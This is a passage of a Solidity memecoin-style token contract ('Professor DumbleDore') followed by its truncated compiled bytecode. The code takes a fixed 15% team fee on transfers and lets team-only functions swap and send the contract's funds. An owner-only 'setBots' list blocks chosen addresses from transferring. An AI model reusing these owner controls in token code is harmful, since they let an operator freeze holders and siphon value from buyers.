cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601681526020017f2050726f666573736f722044756d626c65446f72652000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601581526020017f2050726f666573736f7244756d626c65446f7265200000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e69737